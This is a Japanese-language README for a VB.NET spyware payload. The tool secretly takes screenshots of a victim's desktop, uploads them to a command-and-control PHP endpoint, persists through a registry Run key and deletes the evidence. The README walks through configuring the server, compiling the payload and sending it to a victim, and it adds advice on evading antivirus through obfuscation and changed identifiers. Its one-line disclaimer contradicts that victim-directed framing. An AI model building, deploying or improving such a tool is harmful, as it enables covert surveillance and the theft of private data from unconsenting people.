Mr.Peter

サイレント スクリーンショット キャプチャ |エクスプロイト後のペイロード | VB.NET

被害者のデスクトップのスクリーンショットを取得し、C&C にアップロードするための単純なペイロード。

特徴：

• 永続的 (レジストリ実行キーを使用)
• バックグラウンドで動作する
• コードが減ればバグも検出も減ります ;)
• C&C にアップロードした後、スクリーンショットをディスクから削除します
• Base64のC&Cサーバー
• C&C にスクリーンショットを整理してアップロードします
• ポート転送は必要ありません。単一のphpファイルで動作します
• [TODO] マシン情報
• [TODO] 暗号化
• [TODO] C&C からリモートで間隔を設定します

インストールと使用方法:

• このリポジトリのクローンを作成します。
• 私がお勧めするウェブホスティングは名前が安いです
• public_html フォルダーに移動し、新しい PHP ファイルを作成し、その中に以下のコードを挿入します。

• Visual Studio でプロジェクトを開き、ソース コード内の以下の変数を編集します。

 Dim server As String = BaseDecode1("your server address here in base64 encoded") 

• 以下のこの変数も編集します

 Dim php As String = "yourphpfilename.php?" & "folder="

• それをコンパイルして被害者に送信するだけです。

100万ドルのアドバイス ;)

ウイルス対策の検出を回避するには

• アプリのアイコンを変更する
• 新しい GUID を生成する
• すべての変数を変更します
• Obfuscar を使用してコードを難読化する
• アセンブリ情報を変更する

寄付：

このツールが役に立った場合は、コーヒーをおごって感謝の気持ちを伝えてください :)

免責事項:

このツールは、許可されたシステムでのみ使用することを想定しています。明示的な許可なしにこのツールを無断で使用することは違法です。

ライセンス：

GNU 一般公衆利用許諾